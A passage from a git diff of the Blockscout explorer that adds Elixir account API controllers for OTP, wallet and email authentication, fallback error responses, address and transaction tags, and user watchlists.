BlockScoutWeb.Controller do if path =~ network_path do path else + network_path = sanitize_network_path(network_path, path) + network_path <> path end else path end end + + defp sanitize_network_path(network_path, path) do + if String.starts_with?(path, "/") do + String.trim_trailing(network_path, "/") + else + network_path + end + end end diff --git a/apps/block_scout_web/lib/block_scout_web/controllers/account/api/v2/address_controller.ex b/apps/block_scout_web/lib/block_scout_web/controllers/account/api/v2/address_controller.ex new file mode 100644 index 000000000000..2034b8a10652 --- /dev/null +++ b/apps/block_scout_web/lib/block_scout_web/controllers/account/api/v2/address_controller.ex @@ -0,0 +1,41 @@ +defmodule BlockScoutWeb.Account.API.V2.AddressController do + use BlockScoutWeb, :controller + + import BlockScoutWeb.Account.AuthController, only: [current_user: 1] + + alias BlockScoutWeb.Account.API.V2.AuthenticateController + alias Explorer.ThirdPartyIntegrations.Auth0 + alias Plug.Conn + + action_fallback(BlockScoutWeb.Account.API.V2.FallbackController) + + @doc """ + Links an Ethereum address to the current user's account. + + This function attempts to link a provided Ethereum address to the currently + authenticated user's account. It verifies the provided message and signature, + then uses the Auth0 service to associate the address with the user's account. + + ## Parameters + - `conn`: The `Plug.Conn` struct representing the current connection. + - `params`: A map containing: + - `"message"`: The message that was signed. + - `"signature"`: The signature of the message. + + ## Returns + - `{:error, any()}`: Error and a description of the error. + - `:error`: In case of unexpected error. + - `Conn.t()`: A modified connection struct if the address is successfully + linked. The connection will have updated session information. + + ## Notes + - Errors are handled later in `BlockScoutWeb.Account.API.V2.FallbackController`. + """ + @spec link_address(Plug.Conn.t(), map()) :: :error | {:error, any()} | Conn.t() + def link_address(conn, %{"message" => message, "signature" => signature}) do + with %{uid: id} <- conn |> current_user(), + {:ok, auth} <- Auth0.link_address(id, message, signature) do + AuthenticateController.put_auth_to_session(conn, auth) + end + end +end diff --git a/apps/block_scout_web/lib/block_scout_web/controllers/account/api/v2/authenticate_controller.ex b/apps/block_scout_web/lib/block_scout_web/controllers/account/api/v2/authenticate_controller.ex new file mode 100644 index 000000000000..100897a3ecd4 --- /dev/null +++ b/apps/block_scout_web/lib/block_scout_web/controllers/account/api/v2/authenticate_controller.ex @@ -0,0 +1,267 @@ +defmodule BlockScoutWeb.Account.API.V2.AuthenticateController do + use BlockScoutWeb, :controller + + import BlockScoutWeb.Account.AuthController, only: [current_user: 1] + + alias BlockScoutWeb.AccessHelper + alias BlockScoutWeb.Account.API.V2.UserView + alias BlockScoutWeb.API.V2.ApiView + alias Explorer.Account.Identity + alias Explorer.Chain + alias Explorer.Chain.Address + alias Explorer.ThirdPartyIntegrations.Auth0 + alias Plug.Conn + + action_fallback(BlockScoutWeb.Account.API.V2.FallbackController) + + def authenticate_get(conn, params) do + authenticate(conn, params) + end + + def authenticate_post(conn, params) do + authenticate(conn, params) + end + + defp authenticate(conn, params) do + with {:sensitive_endpoints_api_key, api_key} when not is_nil(api_key) <- + {:sensitive_endpoints_api_key, Application.get_env(:block_scout_web, :sensitive_endpoints_api_key)}, + {:api_key, ^api_key} <- {:api_key, params["api_key"]}, + {:auth, %{id: uid} = current_user} <- {:auth, current_user(conn)}, + {:identity, %Identity{}} <- {:identity, Identity.find_identity(uid)} do + conn + |> put_status(200) + |> json(current_user) + end + end + + @doc """ + Sends a one-time password (OTP) to the specified email address. + + This function handles the process of sending an OTP to a given email address, + with different behaviors based on the current user's authentication status + and the relationship between the provided email and existing accounts. + + The function first verifies the reCAPTCHA response to prevent abuse. Then, + it checks the current user's status and proceeds accordingly: + + 1. If no user is logged in, it sends an OTP for a new account. + 2. If a user is logged in and the email matches their account, it returns an error. + 3. If a user is logged in but the email doesn't match, it checks if there is already + a user with such email and sends an OTP for linking if there is no such user. + + ## Parameters + - `conn`: The `Plug.Conn` struct representing the current connection. + - `params`: A map containing: + - `"email"`: The email address to which the OTP should be sent. + - `"recaptcha_v3_response"` or `"recaptcha_response"`: The reCAPTCHA response token. + + ## Returns + - `:error`: If there's an unexpected error during the process. + - `{:error, String.t()}`: If there's a specific error (e.g., email already linked). + - `{:interval, integer()}`: If an OTP was recently sent and the cooldown period hasn't elapsed. + - `{:recaptcha, false}`: If the reCAPTCHA verification fails. + - `Plug.Conn.t()`: A modified connection struct with a 200 status and success message + if the OTP is successfully sent. + + ## Notes + - Errors are handled later in `BlockScoutWeb.Account.API.V2.FallbackController`. + - The function uses the client's IP address for rate limiting and abuse prevention. + - It handles both logged-in and non-logged-in user scenarios. + """ + @spec send_otp(Conn.t(), map()) :: + :error + | {:error, String.t()} + | {:interval, integer()} + | Conn.t() + def send_otp(conn, %{"email" => email}) do + case conn |> Conn.fetch_session() |> current_user() do + nil -> + with :ok <- Auth0.send_otp(email, AccessHelper.conn_to_ip_string(conn)) do + conn |> put_status(200) |> json(%{message: "Success"}) + end + + %{email: nil} -> + with :ok <- Auth0.send_otp_for_linking(email, AccessHelper.conn_to_ip_string(conn)) do + conn |> put_status(200) |> json(%{message: "Success"}) + end + + %{} -> + conn + |> put_status(500) + |> put_view(ApiView) + |> render(:message, %{message: "This account already has an email"}) + end + end + + @doc """ + Confirms a one-time password (OTP) for a given email and updates the session. + + This function verifies the OTP provided for a specific email address. If the + OTP is valid, it retrieves the authentication information and updates the + user's session accordingly. + + The function performs the following steps: + 1. Confirms the OTP with Auth0 and retrieves the authentication information. + 2. If successful, updates the session with the new authentication data. + + ## Parameters + - `conn`: The `Plug.Conn` struct representing the current connection. + - `params`: A map containing: + - `"email"`: The email address associated with the OTP. + - `"otp"`: The one-time password to be confirmed. + + ## Returns + - `:error`: If there's an unexpected error during the process. + - `{:error, any()}`: If there's a specific error during OTP confirmation or + session update. The error details are included. + - `Conn.t()`: A modified connection struct with updated session information + if the OTP is successfully confirmed. + + ## Notes + - Errors are handled later in `BlockScoutWeb.Account.API.V2.FallbackController`. + - This function relies on the Auth0 service to confirm the OTP and retrieve + the authentication information. + - The function handles both existing and newly created users. + - For newly created users, it may create a new authentication record if the + user is not immediately found in the search after OTP confirmation. + - The session update is handled by the `put_auth_to_session/2` function, which + perform additional operations such as setting cookies or rendering user + information. + """ + @spec confirm_otp(Conn.t(), map()) :: :error | {:error, any()} | Conn.t() + def confirm_otp(conn, %{"email" => email, "otp" => otp}) do + with {:ok, auth} <- Auth0.confirm_otp_and_get_auth(email, otp, AccessHelper.conn_to_ip_string(conn)) do + put_auth_to_session(conn, auth) + end + end + + @doc """ + Generates a Sign-In with Ethereum (SIWE) message for a given Ethereum address. + + This function takes an Ethereum address, validates its format, converts it to + its checksum representation, and then generates a SIWE message. The generated + message is returned as part of a JSON response. + + The function performs the following steps: + 1. Validates and converts the input address string to an address hash. + 2. Converts the address hash to its checksum representation. + 3. Generates a SIWE message using the checksum address. + 4. Returns the generated message in a JSON response. + + ## Parameters + - `conn`: The `Plug.Conn` struct representing the current connection. + - `params`: A map containing: + - `"address"`: The Ethereum address as a string, starting with "0x". + + ## Returns + - `{:error, String.t()}`: If there's an error during the SIWE message generation process. + - `{:format, :error}`: If the provided address string is not in a valid format. + - `Conn.t()`: A modified connection struct with a 200 status and a JSON body + containing the generated SIWE message if successful. + + ## Notes + - Errors are handled later in `BlockScoutWeb.Account.API.V2.FallbackController`. + - The address is converted to its checksum format before generating the SIWE message. + - The generated SIWE message includes: + - The domain and URI of the application. + - A statement for signing in. + - The chain ID of the current network. + - A nonce for security. + - Issuance and expiration timestamps. + - The nonce is cached for the address to prevent replay attacks. + - The SIWE message expires after 300 seconds from generation. + """ + @spec siwe_message(Conn.t(), map()) :: {:error, String.t()} | {:format, :error} | Conn.t() + def siwe_message(conn, %{"address" => address}) do + with {:format, {:ok, address_hash}} <- {:format, Chain.string_to_address_hash(address)}, + {:ok, message} <- Auth0.generate_siwe_message(Address.checksum(address_hash)) do + conn |> put_status(200) |> json(%{siwe_message: message}) + end + end + + @doc """ + Authenticates a user via their Ethereum wallet using a signed message. + + This function verifies a signed Ethereum message to authenticate a user. It uses + the Sign-In with Ethereum (SIWE) protocol to validate the signature and retrieve + or create the user's authentication information. + + The function performs the following steps: + 1. Verifies the provided message and signature. + 2. If successful, updates the session with the new authentication data. + + ## Parameters + - `conn`: The `Plug.Conn` struct representing the current connection. + - `params`: A map containing: + - `"message"`: The SIWE message that was signed. + - `"signature"`: The signature of the message. + + ## Returns + - `:error`: If there's an unexpected error during the process. + - `{:error, any()}`: If there's a specific error during authentication or + session update. The error details are included. + - `Conn.t()`: A modified connection struct with updated session information + if the authentication is successful. + + ## Notes + - Errors are handled later in `BlockScoutWeb.Account.API.V2.FallbackController`. + - The function verifies the nonce in the message to prevent replay attacks. + - If the user doesn't exist, a new Web3 user is created based on the Ethereum address. + - The nonce is deleted after successful verification to prevent reuse. + - The session update is handled by the `put_auth_to_session/2` function, which + perform additional operations such as setting cookies or rendering user + information. + """ + @spec authenticate_via_wallet(Conn.t(), map()) :: :error | {:error, any()} | Conn.t() + def authenticate_via_wallet(conn, %{"message" => message, "signature" => signature}) do + with {:ok, auth} <- Auth0.get_auth_with_web3(message, signature) do + put_auth_to_session(conn, auth) + end + end + + @doc """ + Updates the session with authentication information and renders user info. + + This function takes the authentication data, creates or retrieves the user's + identity, updates the session, and renders the user information. It performs + the following steps: + + 1. Finds or creates a user session based on the authentication data. + 2. Retrieves the user's identity using the session ID. + 3. Updates the connection's session with the current user information. + 4. Renders the user information view. + + ## Parameters + - `conn`: The `Plug.Conn` struct representing the current connection. + - `auth`: A `Ueberauth.Auth.t()` struct containing the authentication information. + + ## Returns + - `{:error, any()}`: If there's an error during the process of finding/creating + the user session or retrieving the user's identity. + - `Conn.t()`: A modified connection struct with updated session information + and rendered user info if successful. + + ## Notes + - Errors are handled later in `BlockScoutWeb.Account.API.V2.FallbackController`. + - This function relies on the `Identity` module to handle user identity operations. + - It updates the session with the current user information. + - The function sets the HTTP status to 200 on successful authentication. + - It uses the `UserView` to render the user information. + - The rendered user information includes session data (name, nickname, and + optionally address_hash) merged with the identity data. + """ + @spec put_auth_to_session(Conn.t(), Ueberauth.Auth.t()) :: {:error, any()} | Conn.t() + def put_auth_to_session(conn, auth) do + with {:ok, %{id: uid} = session} <- Identity.find_or_create(auth), + {:identity, %Identity{} = identity} <- {:identity, Identity.find_identity(uid)} do + conn + |> Conn.fetch_session() + |> configure_session(renew: true) + |> put_session(:current_user, session) + |> delete_resp_cookie(Application.get_env(:block_scout_web, :invalid_session_key)) + |> put_status(200) + |> put_view(UserView) + |> render(:user_info, %{identity: identity |> Identity.put_session_info(session)}) + end + end +end diff --git a/apps/block_scout_web/lib/block_scout_web/controllers/account/api/v2/email_controller.ex b/apps/block_scout_web/lib/block_scout_web/controllers/account/api/v2/email_controller.ex new file mode 100644 index 000000000000..8b4af23a2a06 --- /dev/null +++ b/apps/block_scout_web/lib/block_scout_web/controllers/account/api/v2/email_controller.ex @@ -0,0 +1,104 @@ +defmodule BlockScoutWeb.Account.API.V2.EmailController do + use BlockScoutWeb, :controller + use Utils.CompileTimeEnvHelper, invalid_session_key: [:block_scout_web, :invalid_session_key] + + import BlockScoutWeb.Account.AuthController, only: [current_user: 1] + + alias BlockScoutWeb.AccessHelper + alias BlockScoutWeb.Account.API.V2.AuthenticateController + alias Explorer.Account.Identity + alias Explorer.{Helper, HttpClient, Repo} + alias Explorer.ThirdPartyIntegrations.Auth0 + + require Logger + + action_fallback(BlockScoutWeb.Account.API.V2.FallbackController) + + plug(:fetch_cookies, signed: [@invalid_session_key]) + + def resend_email(conn, _params) do + with user <- conn.cookies[@invalid_session_key], + {:auth, false} <- {:auth, is_nil(user)}, + {:email_verified, false} <- {:email_verified, user[:email_verified]}, + {:identity, %Identity{} = identity} <- {:identity, Identity.find_identity(user[:id])}, + {:interval, true} <- + {:interval, + Helper.check_time_interval( + identity.verification_email_sent_at, + Application.get_env(:explorer, Explorer.Account)[:verification_email_resend_interval] + )} do + domain = Application.get_env(:ueberauth, Ueberauth.Strategy.Auth0.OAuth)[:domain] + api_key = Auth0.get_m2m_jwt() + headers = [{"Authorization", "Bearer #{api_key}"}, {"Content-Type", "application/json"}] + url = "https://#{domain}/api/v2/jobs/verification-email" + + body = %{ + "user_id" => user.uid + } + + case HttpClient.post(url, Jason.encode!(body), headers) do + {:ok, %{body: _body, status_code: 201}} -> + identity + |> Identity.changeset(%{verification_email_sent_at: DateTime.utc_now()}) + |> Repo.account_repo().update() + + conn + |> configure_session(drop: true) + |> json(%{message: "Success"}) + + other -> + Logger.error(fn -> ["Error while sending verification email: ", inspect(other)] end) + + conn + |> put_status(500) + |> json(%{message: "Unexpected error"}) + end + end + end + + @doc """ + Links an email address to the current user's account using OTP verification. + + This function attempts to link a provided email address to the currently + authenticated user's account. It verifies the provided one-time password (OTP) + and uses the Auth0 service to associate the email with the user's account. + + The function performs the following steps: + 1. Retrieves the current user's information from the session. + 2. Attempts to link the email to the user's account using the Auth0 service. + 3. If successful, updates the session with the new authentication data. + + ## Parameters + - `conn`: The `Plug.Conn` struct representing the current connection. + - `params`: A map containing: + - `"email"`: The email address to be linked. + - `"otp"`: The one-time password for verification. + + ## Returns + - `:error`: If there's an unexpected error during the process. + - `{:error, any()}`: If there's a specific error during email linking or + session update. The error details are included. + - `Conn.t()`: A modified connection struct with updated session information + if the email is successfully linked. + + ## Notes + - Errors are handled later in `BlockScoutWeb.Account.API.V2.FallbackController`. + - This function requires the user to be already authenticated (current user in session). + - The function will fail if the email is already associated with another account. + - The OTP must be valid and match the one sent to the provided email. + - If successful, the function updates the user's Auth0 profile and local session. + - The session update is handled by the `AuthenticateController.put_auth_to_session/2` + function, which perform additional operations such as setting cookies or + rendering user information. + """ + @spec link_email(Plug.Conn.t(), map()) :: + :error + | {:error, any()} + | Plug.Conn.t() + def link_email(conn, %{"email" => email, "otp" => otp}) do + with {:auth, %{} = user} <- {:auth, current_user(conn)}, + {:ok, auth} <- Auth0.link_email(user, email, otp, AccessHelper.conn_to_ip_string(conn)) do + AuthenticateController.put_auth_to_session(conn, auth) + end + end +end diff --git a/apps/block_scout_web/lib/block_scout_web/controllers/account/api/v2/fallback_controller.ex b/apps/block_scout_web/lib/block_scout_web/controllers/account/api/v2/fallback_controller.ex new file mode 100644 index 000000000000..bf4bd39f9d6d --- /dev/null +++ b/apps/block_scout_web/lib/block_scout_web/controllers/account/api/v2/fallback_controller.ex @@ -0,0 +1,149 @@ +defmodule BlockScoutWeb.Account.API.V2.FallbackController do + use Phoenix.Controller + + alias BlockScoutWeb.Account.API.V2.UserView + alias Ecto.Changeset + + def call(conn, {:identity, _}) do + conn + |> put_status(:not_found) + |> put_view(UserView) + |> render(:message, %{message: "User not found"}) + end + + def call(conn, {:watchlist, _}) do + conn + |> put_status(:not_found) + |> put_view(UserView) + |> render(:message, %{message: "Watchlist not found"}) + end + + def call(conn, {:error, %{reason: :item_not_found}}) do + conn + |> put_status(:not_found) + |> put_view(UserView) + |> render(:message, %{message: "Item not found"}) + end + + def call(conn, {:error, %Changeset{} = changeset}) do + conn + |> put_status(:unprocessable_entity) + |> put_view(UserView) + |> render(:changeset_errors, changeset: changeset) + end + + def call(conn, {:error, message}) do + conn + |> put_status(500) + |> put_view(UserView) + |> render(:message, %{message: message}) + end + + def call(conn, :error) do + conn + |> put_status(500) + |> put_view(UserView) + |> render(:message, %{message: "Unexpected error"}) + end + + def call(conn, {:create_tag, {:error, message}}) do + conn + |> put_status(:unprocessable_entity) + |> put_view(UserView) + |> render(:message, %{message: message}) + end + + def call(conn, {:watchlist_delete, false}) do + conn + |> put_status(:not_found) + |> put_view(UserView) + |> render(:message, %{message: "Watchlist address not found"}) + end + + def call(conn, {:tag_delete, false}) do + conn + |> put_status(:not_found) + |> put_view(UserView) + |> render(:message, %{message: "Tag not found"}) + end + + def call(conn, {:api_key_delete, false}) do + conn + |> put_status(:not_found) + |> put_view(UserView) + |> render(:message, %{message: "Api key not found"}) + end + + def call(conn, {:custom_abi_delete, false}) do + conn + |> put_status(:not_found) + |> put_view(UserView) + |> render(:message, %{message: "Custom ABI not found"}) + end + + def call(conn, {:public_tag_delete, false}) do + conn + |> put_status(:not_found) + |> put_view(UserView) + |> render(:message, %{message: "Error"}) + end + + def call(conn, {:auth, _}) do + current_user = get_session(conn, :current_user) + + conn + |> put_status(if(current_user, do: :forbidden, else: :unauthorized)) + |> put_view(UserView) + |> json(unauthorized_error(current_user)) + end + + def call(conn, {:api_key, _}) do + conn + |> put_status(:unauthorized) + |> put_view(UserView) + |> render(:message, %{message: "Wrong API key"}) + end + + def call(conn, {:sensitive_endpoints_api_key, _}) do + conn + |> put_status(:forbidden) + |> put_view(UserView) + |> render(:message, %{message: "API key not configured on the server"}) + end + + def call(conn, {:email_verified, _}) do + conn + |> put_status(:not_found) + |> put_view(UserView) + |> render(:message, %{message: "Your email address already verified"}) + end + + def call(conn, {:interval, remain}) do + conn + |> put_status(:too_many_requests) + |> put_view(UserView) + |> json(%{message: "Email resend is available in #{remain} seconds.", seconds_before_next_resend: remain}) + end + + def call(conn, {:format, _params}) do + conn + |> put_status(:unprocessable_entity) + |> put_view(UserView) + |> render(:message, %{message: "Invalid parameter(s)"}) + end + + def call(conn, {:recaptcha, _}) do + conn + |> put_status(:forbidden) + |> put_view(UserView) + |> render(:message, %{message: "Invalid reCAPTCHA response"}) + end + + defp unauthorized_error(%{email_verified: false, email: email}) do + %{message: "Unverified email", email: email} + end + + defp unauthorized_error(_) do + %{message: "Unauthorized"} + end +end diff --git a/apps/block_scout_web/lib/block_scout_web/controllers/account/api/v2/tags_controller.ex b/apps/block_scout_web/lib/block_scout_web/controllers/account/api/v2/tags_controller.ex new file mode 100644 index 000000000000..47b967192ab0 --- /dev/null +++ b/apps/block_scout_web/lib/block_scout_web/controllers/account/api/v2/tags_controller.ex @@ -0,0 +1,91 @@ +defmodule BlockScoutWeb.Account.API.V2.TagsController do + use BlockScoutWeb, :controller + + import BlockScoutWeb.Account.AuthController, only: [current_user: 1] + + alias BlockScoutWeb.Models.{GetAddressTags, GetTransactionTags} + alias Explorer.Account.Identity + alias Explorer.{Chain, Repo} + alias Explorer.Chain.Hash.{Address, Full} + + action_fallback(BlockScoutWeb.Account.API.V2.FallbackController) + + def tags_address(conn, %{"address_hash" => address_hash}) do + personal_tags = + if is_nil(current_user(conn)) do + %{personal_tags: [], watchlist_names: []} + else + uid = current_user(conn).id + + with {:identity, %Identity{} = identity} <- {:identity, Identity.find_identity(uid)}, + {:watchlist, %{watchlists: [watchlist | _]}} <- + {:watchlist, Repo.account_repo().preload(identity, :watchlists)}, + {:address_hash, {:ok, address_hash}} <- {:address_hash, Address.cast(address_hash)} do + GetAddressTags.get_address_tags(address_hash, %{id: identity.id, watchlist_id: watchlist.id}, api?: true) + else + _ -> + %{personal_tags: [], watchlist_names: []} + end + end + + public_tags = + case Address.cast(address_hash) do + {:ok, address_hash} -> + GetAddressTags.get_public_tags(address_hash, api?: true) + + _ -> + %{common_tags: []} + end + + conn + |> put_status(200) + |> render(:address_tags, %{tags_map: Map.merge(personal_tags, public_tags)}) + end + + def tags_transaction(conn, %{"transaction_hash" => transaction_hash}) do + transaction = + with {:ok, transaction_hash} <- Full.cast(transaction_hash), + {:ok, transaction} <- Chain.hash_to_transaction(transaction_hash) do + transaction + else + _ -> + nil + end + + personal_tags = + if is_nil(current_user(conn)) do + %{personal_tags: [], watchlist_names: [], personal_transaction_tag: nil} + else + uid = current_user(conn).id + + with {:identity, %Identity{} = identity} <- {:identity, Identity.find_identity(uid)}, + {:watchlist, %{watchlists: [watchlist | _]}} <- + {:watchlist, Repo.account_repo().preload(identity, :watchlists)}, + false <- is_nil(transaction) do + GetTransactionTags.get_transaction_with_addresses_tags(transaction, %{ + id: identity.id, + watchlist_id: watchlist.id + }) + else + _ -> + %{personal_tags: [], watchlist_names: [], personal_transaction_tag: nil} + end + end + + public_tags_from = + if is_nil(transaction), + do: [], + else: GetAddressTags.get_public_tags(transaction.from_address_hash, api?: true).common_tags + + public_tags_to = + if is_nil(transaction), + do: [], + else: GetAddressTags.get_public_tags(transaction.to_address_hash, api?: true).common_tags + + public_tags = %{common_tags: public_tags_from ++ public_tags_to} + + conn + |> put_status(200) + |> render(:transaction_tags, %{tags_map: Map.merge(personal_tags, public_tags)}) + end +end diff --git a/apps/block_scout_web/lib/block_scout_web/controllers/account/api/v2/user_controller.ex b/apps/block_scout_web/lib/block_scout_web/controllers/account/api/v2/user_controller.ex new file mode 100644 index 000000000000..d3b82cf0263a --- /dev/null +++ b/apps/block_scout_web/lib/block_scout_web/controllers/account/api/v2/user_controller.ex @@ -0,0 +1,458 @@ +defmodule BlockScoutWeb.Account.API.V2.UserController do + alias Explorer.ThirdPartyIntegrations.Auth0 + use BlockScoutWeb, :controller + + import BlockScoutWeb.Account.AuthController, only: [current_user: 1] + + import BlockScoutWeb.Chain, + only: [ + next_page_params: 3, + paging_options: 1, + split_list_by_page: 1 + ] + + alias Explorer.Account.Api.Key, as: ApiKey + alias Explorer.Account.CustomABI + alias Explorer.Account.{Identity, TagAddress, TagTransaction, WatchlistAddress} + alias Explorer.{Chain, Market, PagingOptions, Repo} + alias Plug.CSRFProtection + + action_fallback(BlockScoutWeb.Account.API.V2.FallbackController) + + @ok_message "OK" + @token_balances_amount 150 + + def info(conn, _params) do + with {:auth, %{id: uid} = session} <- {:auth, current_user(conn)}, + {:identity, %Identity{} = identity} <- {:identity, Identity.find_identity(uid)} do + case Auth0.update_session_with_address_hash(session) do + {:old, session} -> + conn + |> put_status(200) + |> render(:user_info, %{identity: identity |> Identity.put_session_info(session)}) + + {:new, session} -> + conn + |> configure_session(renew: true) + |> put_session(:current_user, session) + |> put_status(200) + |> render(:user_info, %{identity: identity |> Identity.put_session_info(session)}) + end + end + end + + def watchlist(conn, params) do + with {:auth, %{id: uid}} <- {:auth, current_user(conn)}, + {:identity, %Identity{} = identity} <- {:identity, Identity.find_identity(uid)}, + {:watchlist, %{watchlists: [watchlist | _]}} <- + {:watchlist, Repo.account_repo().preload(identity, :watchlists)} do + results_plus_one = WatchlistAddress.get_watchlist_addresses_by_watchlist_id(watchlist.id, paging_options(params)) + + {watchlist_addresses, next_page} = split_list_by_page(results_plus_one) + + next_page_params = + next_page |> next_page_params(watchlist_addresses, params) + + watchlist_addresses_prepared = + Enum.map(watchlist_addresses, fn wa -> + balances = + Chain.fetch_paginated_last_token_balances(wa.address_hash, + paging_options: %PagingOptions{page_size: @token_balances_amount + 1} + ) + + count = Enum.count(balances) + overflow? = count > @token_balances_amount + + fiat_sum = + balances + |> Enum.take(@token_balances_amount) + |> Enum.reduce(Decimal.new(0), fn tb, acc -> Decimal.add(acc, tb.fiat_value || 0) end) + + %WatchlistAddress{ + wa + | tokens_fiat_value: fiat_sum, + tokens_count: min(count, @token_balances_amount), + tokens_overflow: overflow? + } + end) + + conn + |> put_status(200) + |> render(:watchlist_addresses, %{ + exchange_rate: Market.get_coin_exchange_rate(), + watchlist_addresses: watchlist_addresses_prepared, + next_page_params: next_page_params + }) + end + end + + def delete_watchlist(conn, %{"id" => watchlist_address_id}) do + with {:auth, %{id: uid}} <- {:auth, current_user(conn)}, + {:identity, %Identity{} = identity} <- {:identity, Identity.find_identity(uid)}, + {:watchlist, %{watchlists: [watchlist | _]}} <- + {:watchlist, Repo.account_repo().preload(identity, :watchlists)}, + {count, _} <- WatchlistAddress.delete(watchlist_address_id, watchlist.id), + {:watchlist_delete, true} <- {:watchlist_delete, count > 0} do + conn + |> put_status(200) + |> render(:message, %{message: @ok_message}) + end + end + + def create_watchlist(conn, %{ + "address_hash" => address_hash, + "name" => name, + "notification_settings" => %{ + "native" => %{ + "incoming" => watch_coin_input, + "outcoming" => watch_coin_output + }, + "ERC-20" => %{ + "incoming" => watch_erc_20_input, + "outcoming" => watch_erc_20_output + }, + "ERC-721" => %{ + "incoming" => watch_erc_721_input, + "outcoming" => watch_erc_721_output + }, + # "ERC-1155" => %{ + # "incoming" => watch_erc_1155_input, + # "outcoming" => watch_erc_1155_output + # }, + "ERC-404" => %{ + "incoming" => watch_erc_404_input, + "outcoming" => watch_erc_404_output + } + }, + "notification_methods" => %{ + "email" => notify_email + } + }) do + watchlist_params = %{ + name: name, + watch_coin_input: watch_coin_input, + watch_coin_output: watch_coin_output, + watch_erc_20_input: watch_erc_20_input, + watch_erc_20_output: watch_erc_20_output, + watch_erc_721_input: watch_erc_721_input, + watch_erc_721_output: watch_erc_721_output, + watch_erc_1155_input: watch_erc_721_input, + watch_erc_1155_output: watch_erc_721_output, + watch_erc_404_input: watch_erc_404_input, + watch_erc_404_output: watch_erc_404_output, + notify_email: notify_email, + address_hash: address_hash + } + + with {:auth, %{id: uid}} <- {:auth, current_user(conn)}, + {:identity, %Identity{} = identity} <- {:identity, Identity.find_identity(uid)}, + {:watchlist, %{watchlists: [watchlist | _]}} <- + {:watchlist, Repo.account_repo().preload(identity, :watchlists)}, + {:ok, watchlist_address} <- + WatchlistAddress.create(Map.put(watchlist_params, :watchlist_id, watchlist.id)) do + conn + |> put_status(200) + |> render(:watchlist_address, %{ + watchlist_address: watchlist_address, + exchange_rate: Market.get_coin_exchange_rate() + }) + end + end + + def update_watchlist(conn, %{ + "id" => watchlist_address_id, + "address_hash" => address_hash, + "name" => name, + "notification_settings" => %{ + "native" => %{ + "incoming" => watch_coin_input, + "outcoming" => watch_coin_output + }, + "ERC-20" => %{ + "incoming" => watch_erc_20_input, + "outcoming" => watch_erc_20_output + }, + "ERC-721" => %{ + "incoming" => watch_erc_721_input, + "outcoming" => watch_erc_721_output + }, + # "ERC-1155" => %{ + # "incoming" => watch_erc_1155_input, + # "outcoming" => watch_erc_1155_output + # }, + "ERC-404" => %{ + "incoming" => watch_erc_404_input, + "outcoming" => watch_erc_404_output + } + }, + "notification_methods" => %{ + "email" => notify_email + } + }) do + watchlist_params = %{ + id: watchlist_address_id, + name: name, + watch_coin_input: watch_coin_input, + watch_coin_output: watch_coin_output, + watch_erc_20_input: watch_erc_20_input, + watch_erc_20_output: watch_erc_20_output, + watch_erc_721_input: watch_erc_721_input, + watch_erc_721_output: watch_erc_721_output, + watch_erc_1155_input: watch_erc_721_input, + watch_erc_1155_output: watch_erc_721_output, + watch_erc_404_input: watch_erc_404_input, + watch_erc_404_output: watch_erc_404_output, + notify_email: notify_email, + address_hash: address_hash + } + + with {:auth, %{id: uid}} <- {:auth, current_user(conn)}, + {:identity, %Identity{} = identity} <- {:identity, Identity.find_identity(uid)}, + {:watchlist, %{watchlists: [watchlist | _]}} <- + {:watchlist, Repo.account_repo().preload(identity, :watchlists)}, + {:ok, watchlist_address} <- + WatchlistAddress.update(Map.put(watchlist_params, :watchlist_id, watchlist.id)) do + conn + |> put_status(200) + |> render(:watchlist_address, %{ + watchlist_address: watchlist_address, + exchange_rate: Market.get_coin_exchange_rate() + }) + end + end + + def tags_address(conn, params) do + with {:auth, %{id: uid}} <- {:auth, current_user(conn)}, + {:identity, %Identity{} = identity} <- {:identity, Identity.find_identity(uid)} do + results_plus_one = TagAddress.get_tags_address_by_identity_id(identity.id, paging_options(params)) + + {tags, next_page} = split_list_by_page(results_plus_one) + + next_page_params = next_page |> next_page_params(tags, params) + + conn + |> put_status(200) + |> render(:address_tags, %{address_tags: tags, next_page_params: next_page_params}) + end + end + + def delete_tag_address(conn, %{"id" => tag_id}) do + with {:auth, %{id: uid}} <- {:auth, current_user(conn)}, + {:identity, %Identity{} = identity} <- {:identity, Identity.find_identity(uid)}, + {count, _} <- TagAddress.delete(tag_id, identity.id), + {:tag_delete, true} <- {:tag_delete, count > 0} do + conn + |> put_status(200) + |> render(:message, %{message: @ok_message}) + end + end + + def create_tag_address(conn, %{"address_hash" => address_hash, "name" => name}) do + with {:auth, %{id: uid}} <- {:auth, current_user(conn)}, + {:identity, %Identity{} = identity} <- {:identity, Identity.find_identity(uid)}, + {:ok, address_tag} <- + TagAddress.create(%{ + name: name, + address_hash: address_hash, + identity_id: identity.id + }) do + conn + |> put_status(200) + |> render(:address_tag, %{address_tag: address_tag}) + end + end + + def update_tag_address(conn, %{"id" => tag_id} = attrs) do + with {:auth, %{id: uid}} <- {:auth, current_user(conn)}, + {:identity, %Identity{} = identity} <- {:identity, Identity.find_identity(uid)}, + {:ok, address_tag} <- + TagAddress.update( + reject_nil_map_values(%{ + id: tag_id, + name: attrs["name"], + address_hash: attrs["address_hash"], + identity_id: identity.id + }) + ) do + conn + |> put_status(200) + |> render(:address_tag, %{address_tag: address_tag}) + end + end + + def tags_transaction(conn, params) do + with {:auth, %{id: uid}} <- {:auth, current_user(conn)}, + {:identity, %Identity{} = identity} <- {:identity, Identity.find_identity(uid)} do + results_plus_one = TagTransaction.get_tags_transaction_by_identity_id(identity.id, paging_options(params)) + + {tags, next_page} = split_list_by_page(results_plus_one) + + next_page_params = next_page |> next_page_params(tags, params) + + conn + |> put_status(200) + |> render(:transaction_tags, %{transaction_tags: tags, next_page_params: next_page_params}) + end + end + + def delete_tag_transaction(conn, %{"id" => tag_id}) do + with {:auth, %{id: uid}} <- {:auth, current_user(conn)}, + {:identity, %Identity{} = identity} <- {:identity, Identity.find_identity(uid)}, + {count, _} <- TagTransaction.delete(tag_id, identity.id), + {:tag_delete, true} <- {:tag_delete, count > 0} do + conn + |> put_status(200) + |> render(:message, %{message: @ok_message}) + end + end + + def create_tag_transaction(conn, %{"transaction_hash" => transaction_hash, "name" => name}) do + with {:auth, %{id: uid}} <- {:auth, current_user(conn)}, + {:identity, %Identity{} = identity} <- {:identity, Identity.find_identity(uid)}, + {:ok, transaction_tag} <- + TagTransaction.create(%{ + name: name, + transaction_hash: transaction_hash, + identity_id: identity.id + }) do + conn + |> put_status(200) + |> render(:transaction_tag, %{transaction_tag: transaction_tag}) + end + end + + def update_tag_transaction(conn, %{"id" => tag_id} = attrs) do + with {:auth, %{id: 